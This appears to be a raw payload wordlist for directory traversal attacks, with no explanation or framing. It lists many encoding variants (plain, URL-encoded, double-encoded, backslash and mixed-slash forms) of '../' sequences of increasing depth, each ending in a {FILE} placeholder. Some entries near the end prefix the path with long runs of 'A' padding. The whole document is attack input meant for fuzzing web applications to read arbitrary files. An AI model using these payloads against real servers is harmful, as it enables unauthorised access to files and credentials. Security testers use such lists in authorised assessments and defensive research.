%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA